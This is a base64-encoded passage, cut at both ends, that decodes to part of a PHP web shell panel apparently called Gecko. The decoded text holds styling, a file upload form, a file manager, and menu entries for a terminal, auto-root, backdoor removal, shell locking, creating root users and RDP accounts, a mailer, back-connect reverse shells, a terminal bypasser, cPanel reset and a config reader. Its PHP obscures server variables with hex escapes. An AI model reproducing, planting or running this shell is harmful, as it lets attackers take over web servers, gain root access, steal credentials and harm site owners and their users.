LmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSIvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL3N3ZWV0YWxlcnQyQDExIj48L3NjcmlwdD4KICAgIDxzdHlsZT4KICAgICAgICAuYnRuLXN1Ym1pdCwKICAgICAgICBhIHsKICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgICAgICAgICBjb2xvcjogI2ZmZgogICAgICAgIH0KCiAgICAgICAgYSwKICAgICAgICBib2R5IHsKICAgICAgICAgICAgY29sb3I6ICNmZmYKICAgICAgICB9CgogICAgICAgIC5idG4tc3VibWl0LAogICAgICAgIC5mb3JtLWZpbGUsCiAgICAgICAgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKSB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMjI0MmQKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvciwKICAgICAgICAubW9kYWwsCiAgICAgICAgLnRlcm1pbmFsIHsKICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOwogICAgICAgICAgICB0b3A6IDA7CiAgICAgICAgICAgIGxlZnQ6IDA7CiAgICAgICAgICAgIHJpZ2h0OiAwOwogICAgICAgICAgICBib3R0b206IDAKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvci1ib2R5IHRleHRhcmVhLAogICAgICAgIC50ZXJtaW5hbC1ib2R5IHRleHRhcmVhIHsKICAgICAgICAgICAgd2lkdGg6IDk4LjUlOwogICAgICAgICAgICBoZWlnaHQ6IDQwMHB4OwogICAgICAgICAgICBmb250LXNpemU6IHNtYWxsZXI7CiAgICAgICAgICAgIHJlc2l6ZTogbm9uZQogICAgICAgIH0KCiAgICAgICAgLm1lbnUtdG9vbHMgbGksCiAgICAgICAgLnRlcm1pbmFsLWJvZHkgbGksCiAgICAgICAgLnRlcm1pbmFsLWhlYWQgbGkgewogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sKICAgICAgICB9CgogICAgICAgIGJvZHkgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMGUwZjE3OwogICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlCiAgICAgICAgfQoKICAgICAgICAuYnRuLW1vZGFsLWNsb3NlOmhvdmVyLAogICAgICAgIC5idG4tc3VibWl0OmhvdmVyLAogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciB1bCwKICAgICAgICAucGF0aC1wd2QsCiAgICAgICAgdGhlYWQgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmUzMTNkCiAgICAgICAgfQoKICAgICAgICB1bCB7CiAgICAgICAgICAgIGxpc3Qtc3R5bGU6IG5vbmUKICAgICAgICB9CgogICAgICAgIC5tZW51LWhlYWRlciBsaSB7CiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAwCiAgICAgICAgfQoKICAgICAgICAubWVudS1oZWFkZXIgdWwgbGkgewogICAgICAgICAgICBmb250LXdlaWdodDogNzAwOwogICAgICAgICAgICBmb250LXN0eWxlOiBpdGFsaWMKICAgICAgICB9CgogICAgICAgIC5idG4tc3VibWl0IHsKICAgICAgICAgICAgcGFkZGluZzogN3B4IDI1cHg7CiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGdyZXk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweAogICAgICAgIH0KCiAgICAgICAgLmZvcm0tZmlsZSwKICAgICAgICBhOmhvdmVyIHsKICAgICAgICAgICAgY29sb3I6ICNjNWM4ZDYKICAgICAgICB9CgogICAgICAgIC5idG4tc3VibWl0OmhvdmVyIHsKICAgICAgICAgICAgYm9yZGVyOiAycHggc29saWQgI2M1YzhkNgogICAgICAgIH0KCiAgICAgICAgLmZvcm0tdXBsb2FkIHsKICAgICAgICAgICAgbWFyZ2luOiAxMHB4IDAKICAgICAgICB9CgogICAgICAgIC5mb3JtLWZpbGUgewogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCBncmV5OwogICAgICAgICAgICBwYWRkaW5nOiA3cHggMjBweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4CiAgICAgICAgfQoKICAgICAgICAubWVudS10b29scyB7CiAgICAgICAgICAgIHdpZHRoOiA5NSUKICAgICAgICB9CgogICAgICAgIC5tZW51LXRvb2xzIGxpIHsKICAgICAgICAgICAgbWFyZ2luOiAxNXB4IDAKICAgICAgICB9CgogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciwKICAgICAgICAubW9kYWwtbWFpbC10ZXh0IHsKICAgICAgICAgICAgbWFyZ2luOiAxMHB4IDQwcHgKICAgICAgICB9CgogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciBsaSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsKICAgICAgICAgICAgbWFyZ2luOiAxNXB4IDIwcHgKICAgICAgICB9CgogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciBsaSBhOjphZnRlciB7CiAgICAgICAgICAgIGNvbnRlbnQ6ICIiOwogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsKICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNmZmYKICAgICAgICB9CgogICAgICAgIC5wYXRoLXB3ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMDsKICAgICAgICAgICAgbWFyZ2luOiA1cHggMAogICAgICAgIH0KCiAgICAgICAgdGFibGUgewogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHgKICAgICAgICB9CgogICAgICAgIHRoZWFkIHsKICAgICAgICAgICAgaGVpZ2h0OiAzNXB4CiAgICAgICAgfQoKICAgICAgICB0Ym9keSB0ciB0ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMAogICAgICAgIH0KCiAgICAgICAgdGJvZHkgdHIgdGQ6bnRoLWNoaWxkKDIpLAogICAgICAgIHRib2R5IHRyIHRkOm50aC1jaGlsZCgzKSwKICAgICAgICB0Ym9keSB0ciB0ZDpudGgtY2hpbGQoNCkgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXIKICAgICAgICB9CgogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgewogICAgICAgICAgICB3aWR0aDogMTZweAogICAgICAgIH0KCiAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZTBmMTcKICAgICAgICB9CgogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyNDJkOwogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjNTU1OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHgKICAgICAgICB9CgogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWI6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjNTU1CiAgICAgICAgfQoKICAgICAgICA6Oi13ZWJraXQtZmlsZS11cGxvYWQtYnV0dG9uIHsKICAgICAgICAgICAgZGlzcGxheTogbm9uZQogICAgICAgIH0KCiAgICAgICAgLm1vZGFsIHsKICAgICAgICAgICAgZGlzcGxheTogbm9uZTsKICAgICAgICAgICAgei1pbmRleDogMjsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgLjMpCiAgICAgICAgfQoKICAgICAgICAubW9kYWwtY29udGFpbmVyIHsKICAgICAgICAgICAgYW5pbWF0aW9uLW5hbWU6IG1vZGFsLXBvcC1vdXQ7CiAgICAgICAgICAgIGFuaW1hdGlvbi1kdXJhdGlvbjogLjdzOwogICAgICAgICAgICBhbmltYXRpb24tZmlsbC1tb2RlOiBib3RoOwogICAgICAgICAgICBtYXJnaW46IDEwJSBhdXRvIGF1dG87CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7CiAgICAgICAgICAgIHdpZHRoOiA4MDBweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y0ZjRmOQogICAgICAgIH0KCiAgICAgICAgQGtleWZyYW1lcyBtb2RhbC1wb3Atb3V0IHsKICAgICAgICAgICAgZnJvbSB7CiAgICAgICAgICAgICAgICBvcGFjaXR5OiAwCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHRvIHsKICAgICAgICAgICAgICAgIG9wYWNpdHk6IDEKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLm1vZGFsLWhlYWRlciB7CiAgICAgICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICBtYXJnaW4tbGVmdDogMzBweDsKICAgICAgICAgICAgcGFkZGluZzogMTBweAogICAgICAgIH0KCiAgICAgICAgLm1vZGFsLWJvZHksCiAgICAgICAgLnRlcm1pbmFsLWhlYWQgbGkgewogICAgICAgICAgICBjb2xvcjogIzAwMAogICAgICAgIH0KCiAgICAgICAgLm1vZGFsLWNyZWF0ZS1pbnB1dCB7CiAgICAgICAgICAgIHdpZHRoOiA3MDBweDsKICAgICAgICAgICAgcGFkZGluZzogMTBweCA1cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNGY0Zjk7CiAgICAgICAgICAgIG1hcmdpbjogMCA1JTsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDhweCA4cHggMjBweCByZ2JhKDAsIDAsIDAsIC4yKTsKICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMnB4IHNvbGlkICMwZTBmMTcKICAgICAgICB9CgogICAgICAgIC5ib3gtc2hhZG93IHsKICAgICAgICAgICAgYm94LXNoYWRvdzogOHB4IDhweCA4cHggcmdiYSgwLCAwLCAwLCAuMikKICAgICAgICB9CgogICAgICAgIC5idG4tbW9kYWwtY2xvc2UgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyNDJkOwogICAgICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweCAzNXB4CiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWNobW9kOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWRvd25sb2FkOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWVkaXRvcjpob3Zlcjo6YWZ0ZXIgewogICAgICAgICAgICBwYWRkaW5nOiA1cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDExMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmUzMTNkCiAgICAgICAgfQoKICAgICAgICAubW9kYWwtYnRuLWZvcm0gewogICAgICAgICAgICBtYXJnaW46IDE1cHggMDsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogcmlnaHQKICAgICAgICB9CgogICAgICAgIC5maWxlLXNpemUgewogICAgICAgICAgICBjb2xvcjogb3JhbmdlCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2Utcm9vdDo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAicm9vdCI7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHdpZHRoOiA0MHB4OwogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IC0zMHB4OwogICAgICAgICAgICBtYXJnaW4tbGVmdDogMTEwcHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmVkCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWNobW9kOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWRvd25sb2FkOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWVkaXRvcjpob3Zlcjo6YWZ0ZXIsCiAgICAgICAgLmJhZGdlLWxpbnV4OjphZnRlciwKICAgICAgICAuYmFkZ2Utd2luZG93czo6YWZ0ZXIgewogICAgICAgICAgICB3aWR0aDogNjBweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAtMzBweDsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZQogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLXdpbmRvd3M6OmFmdGVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogb3JhbmdlOwogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDEwMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIGNvbnRlbnQ6ICJ3aW5kb3dzIgogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLWxpbnV4OjphZnRlciB7CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMDBweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDA0N2EzOwogICAgICAgICAgICBjb250ZW50OiAibGludXgiCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWVkaXRvcjpob3Zlcjo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAiUmVuYW1lIgogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLWFjdGlvbi1jaG1vZDpob3Zlcjo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAiQ2htb2QiCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWRvd25sb2FkOmhvdmVyOjphZnRlciB7CiAgICAgICAgICAgIGNvbnRlbnQ6ICJEb3dubG9hZCIKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvciwKICAgICAgICAudGVybWluYWwgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDAsIDAsIDAsIC4zKTsKICAgICAgICAgICAgd2lkdGg6IDEwMCUKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvci1jb250YWluZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjRmNGY5OwogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICAgICAgd2lkdGg6IDk1JTsKICAgICAgICAgICAgbWFyZ2luOiA0MHB4IGF1dG8gYXV0bzsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTBweAogICAgICAgIH0KCiAgICAgICAgLmNvZGUtZWRpdG9yLWhlYWQgewogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OwogICAgICAgICAgICBmb250LXdlaWdodDogNzAwCiAgICAgICAgfQoKICAgICAgICAuY29kZS1lZGl0b3ItYm9keSB0ZXh0YXJlYSB7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgbWFyZ2luOiAwIDRweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzIyMjQyZDsKICAgICAgICAgICAgY29sb3I6ICNmZmYKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1jb250YWluZXIgewogICAgICAgICAgICBhbmltYXRpb246IC41cyBib3RoIG1vZGFsLXBvcC1vdXQ7CiAgICAgICAgICAgIHdpZHRoOiA5MCU7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNGY0Zjk7CiAgICAgICAgICAgIG1hcmdpbjogMjVweCBhdXRvIGF1dG87CiAgICAgICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHgKICAgICAgICB9CgogICAgICAgIC5iYy1nZWNrbywKICAgICAgICAubWFpbCwKICAgICAgICAudGVybWluYWwtaW5wdXQgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyNDJkOwogICAgICAgICAgICBjb2xvcjogI2ZmZgogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWhlYWQgewogICAgICAgICAgICBwYWRkaW5nOiA4cHgKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1oZWFkIGxpIGEgewogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICByaWdodDogMDsKICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxMTBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMDsKICAgICAgICAgICAgbWFyZ2luLXRvcDogLTIwcHg7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMjVweDsKICAgICAgICAgICAgcGFkZGluZzogMXB4IDEwcHgKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1ib2R5IHRleHRhcmVhIHsKICAgICAgICAgICAgbWFyZ2luOiA0cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMjI0MmQ7CiAgICAgICAgICAgIGNvbG9yOiAjMjlkYjEyOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHgKICAgICAgICB9CgogICAgICAgIC5hY3RpdmUgewogICAgICAgICAgICBkaXNwbGF5OiBibG9jawogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWlucHV0IHsKICAgICAgICAgICAgd2lkdGg6IDUwMHB4OwogICAgICAgICAgICBwYWRkaW5nOiA2cHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMyMjI0MmQ7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgbWFyZ2luOiA1cHggMAogICAgICAgIH0KCiAgICAgICAgLmJjLWdlY2tvIHsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBwYWRkaW5nOiA3cHggMTBweDsKICAgICAgICAgICAgd2lkdGg6IDcxMnB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbjogMTVweCA0MHB4CiAgICAgICAgfQoKICAgICAgICAubWFpbCB7CiAgICAgICAgICAgIHdpZHRoOiA3MDVweDsKICAgICAgICAgICAgcmVzaXplOiBub25lOwogICAgICAgICAgICBoZWlnaHQ6IDEwMHB4CiAgICAgICAgfQoKICAgICAgICAubG9nby1nZWNrbyB7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgdG9wOiAtOTBweDsKICAgICAgICAgICAgcmlnaHQ6IDQwcHg7CiAgICAgICAgICAgIHotaW5kZXg6IC0xOwogICAgICAgICAgICBib3R0b206IDAKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9Im1lbnUtaGVhZGVyIj4KICAgICAgICA8dWw+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtc29saWQgZmEtY29tcHV0ZXIiPjwvaT4mbmJzcDs8Pz0gJGZ1bmdzaVs4XSgpOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtc29saWQgZmEtc2VydmVyIj48L2k+Jm5ic3A7PD89ICRfU0VSVkVSWyJceDUzXHg0NVx4NTJceDU2XHg0NVx4NTJceDVmXHg1M1x4NGZceDQ2XHg1NFx4NTdceDQxXHg1Mlx4NDUiXTsgPz48L2xpPgogICAgICAgICAgICA8bGk+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLW5ldHdvcmstd2lyZWQiPjwvaT4mbmJzcDs6IDw/PSAkX1NFUlZFUlsiXHg1M1x4NDVceDUyXHg1Nlx4NDVceDUyXHg1Zlx4NDFceDQ0XHg0NFx4NTIiXTsgPz4gfCZuYnNwOzogPD89ICRfU0VSVkVSWyJceDUyXHg0NVx4NGRceDRmXHg1NFx4NDVceDVmXHg0MVx4NDRceDQ0XHg1MiJdOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtc29saWQgZmEtZ2xvYmUiPjwvaT4mbmJzcDs8Pz0gcygpOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtYnJhbmRzIGZhLXBocCI+PC9pPiZuYnNwOzw/PSBQSFBfVkVSU0lPTjsgPz48L2xpPgogICAgICAgICAgICA8bGk+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXIiPjwvaT4mbmJzcDs8Pz0gJGZ1bmdzaVs5XSgpOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaSBjbGFzcz0ibG9nby1nZWNrbyI+PGltZyB3aWR0aD0iNDAwIiBoZWlnaHQ9IjQwMCIgc3JjPSJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vTWFkRXhwbG9pdHMvR2Vja28vbWFpbi9nZWNrbzEucG5nIiBhbGlnbj0icmlnaHQiPjwvbGk+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Jzw/PSAiXHg2ZFx4NzVceDZjXHg3NFx4NjlceDcwXHg2MVx4NzJceDc0XHgyZlx4NjZceDZmXHg3Mlx4NmRceDJkXHg2NFx4NjFceDc0XHg2MSI7ID8+Jz4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0iZm9ybS11cGxvYWQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiIG5hbWU9ImdlY2tvLXVwLXN1Ym1pdCIgY2xhc3M9ImJ0bi1zdWJtaXQiPiZuYnNwOzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJnZWNrby11cGxvYWQiIGNsYXNzPSJmb3JtLWZpbGUiPjwvbGk+CiAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICA8L3VsPgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJtZW51LXRvb2xzIj4KICAgICAgICA8dWw+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZ0ZXJtaW5hbD1ub3JtYWwiIGNsYXNzPSJidG4tc3VibWl0Ij5UZXJtaW5hbDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mdGVybWluYWw9cm9vdCIgY2xhc3M9ImJ0bi1zdWJtaXQgYmFkZ2Utcm9vdCI+QVVUTyBST09UPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZhZG1pbmVyIiBjbGFzcz0iYnRuLXN1Ym1pdCI+QWRtaW5lcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mZGVzdHJveSIgY2xhc3M9ImJ0bi1zdWJtaXQiPkJhY2tkb29yIERlc3Ryb3llcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iLy93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoP3E9TGludXglMjBLZXJuZWwlMjA8Pz0gc3VnZ2VzdF9leHBsb2l0KCk7ID8+IiBjbGFzcz0iYnRuLXN1Ym1pdCI+TGludXggRXhwbG9pdDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mbG9ja3NoZWxsIiBjbGFzcz0iYnRuLXN1Ym1pdCI+TG9jayBTaGVsbDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iYnRuLXN1Ym1pdCBiYWRnZS1saW51eCIgaWQ9ImxvY2stZmlsZSI+TG9jayBGaWxlPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0IGJhZGdlLXJvb3QiIGlkPSJyb290LXVzZXIiPkNyZWF0ZSBVc2VyPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0IiBpZD0iY3JlYXRlLXJkcCI+Q1JFQVRFIFJEUDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mbWFpbGVyIiBjbGFzcz0iYnRuLXN1Ym1pdCI+UEhQIE1haWxlcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mYmFja2Nvbm5lY3QiIGNsYXNzPSJidG4tc3VibWl0Ij5CQUNLQ09OTkVDVDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mdGVybWluYWw9YnlwYXNzZXIiIGNsYXNzPSJidG4tc3VibWl0Ij5URVJNSU5BTCBCWVBBU1NFUjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iLy9oYXNoZXMuY29tL2VuL3Rvb2xzL2hhc2hfaWRlbnRpZmllciIgY2xhc3M9ImJ0bi1zdWJtaXQiPkhBU0ggSURFTlRJRklFUjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iYnRuLXN1Ym1pdCBiYWRnZS13aW5kb3dzIiBpZD0ibG9jay13aW5kb3dzIj5Mb2NrIEZpbGU8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiPlJDRSBPVlc8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiPlVQTEQgT1ZXPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0Ij5KVU1QUEVSPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0Ij5DR0lQUk88L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiPkRPTUFJTiBMT09LVVA8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiPldIT0lTPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0Ij5DUEFORUwgUkVTRVQ8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiPkNPTkZJRyBSRUFERVIhPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0Ij5DT01QUkVTU09SPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIvL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvIiBjbGFzcz0iYnRuLXN1Ym1pdCI+UkVBRE1FPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZsb2dvdXQ9VHJ1ZSIgY2xhc3M9ImJ0bi1zdWJtaXQiPkxPR09VVCE8L2E+PC9saT4KICAgICAgICA8L3VsPgogICAgPC9kaXY+CgogICAgPD9waHAKCiAgICAkZmlsZV9tYW5hZ2VyID0gJGZ1bmdzaVsxXSgiey5bIS5dLH0qIiwgR0xPQl9CUkFDRSk7CiAgICAkZ2V0X2N3ZCA9ICRmdW5nc2lbMF0oKTsKICAgID8+CgogICAgPGRpdiBjbGFzcz0ibWVudS1maWxlLW1hbmFnZXIiPgogICAgICAgIDx1bD4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgaWQ9ImNyZWF0ZV9mb2xkZXIiPisgQ3JlYXRlIEZvbGRlcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBpZD0iY3JlYXRlX2ZpbGUiPisgQ3JlYXRlIEZpbGU8L2E+PC9saT4KICAgICAgICA8L3VsPgogICAgICAgIDxkaXYgY2xhc3M9InBhdGgtcHdkIj4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGdldF9jd2QpOyAvLyB1bnR1ayBkaXIgZ2FyaXMgd2luZG93cwogICAgICAgICAgICAkcHdkID0gZXhwbG9kZSgiLyIsICRjd2QpOwogICAgICAgICAgICBpZiAoc3RyaXN